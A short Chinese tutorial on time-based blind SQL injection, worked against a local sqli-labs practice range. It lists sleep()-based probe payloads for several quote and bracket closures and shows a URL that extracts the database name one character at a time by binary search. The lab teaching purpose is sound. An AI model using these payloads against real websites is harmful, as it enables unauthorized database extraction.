基於時間的盲注
延時注入,用的最多的注入
常用的判斷語句:
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
寫這篇文章只是為了更好的理解延時注入的原理
進入本地搭建的靶場進行練習
不進行fuzz測試了,直接看原始碼
第一可知道為單引號存在注入,利用‘%23繞過
第二個不顯示任何錯誤資訊,也就無法通過回顯或者不同頁面判斷注入是否成功,這樣只能使用延時去判斷了
測試注入點:
http://localhost/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(6),1)%23liy
利用if(條件,0,1)函式,當條件為真,返回0,假則返回1
在這裡是‘ and 1=1 為真,延時6秒,假則直接返回(我電腦比較老所以直接返回也耗費一秒多),注入點和注入語句基本確定可使用。
那就進行注入傳統步驟
爆資料庫
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>95,sleep(6),1)%23
利用二分法猜解資料庫的每一個數據
二分法以此類推,116時直接返回頁面。說明資料庫第一個資料的ascii碼為115,即為s,後面的資料同理,最後資料庫名為‘security’
當然在爆資料庫前最好先爆資料庫長度
表、列、欄位在前面一篇有介紹過相應語法,可自行查閱,這裡就不繼續演示了,但這裡基本已經完成對延時注入的理解,當然實際環境中,很多常用的函式是會被過濾的,需要你們自己去百度看看如何繞過。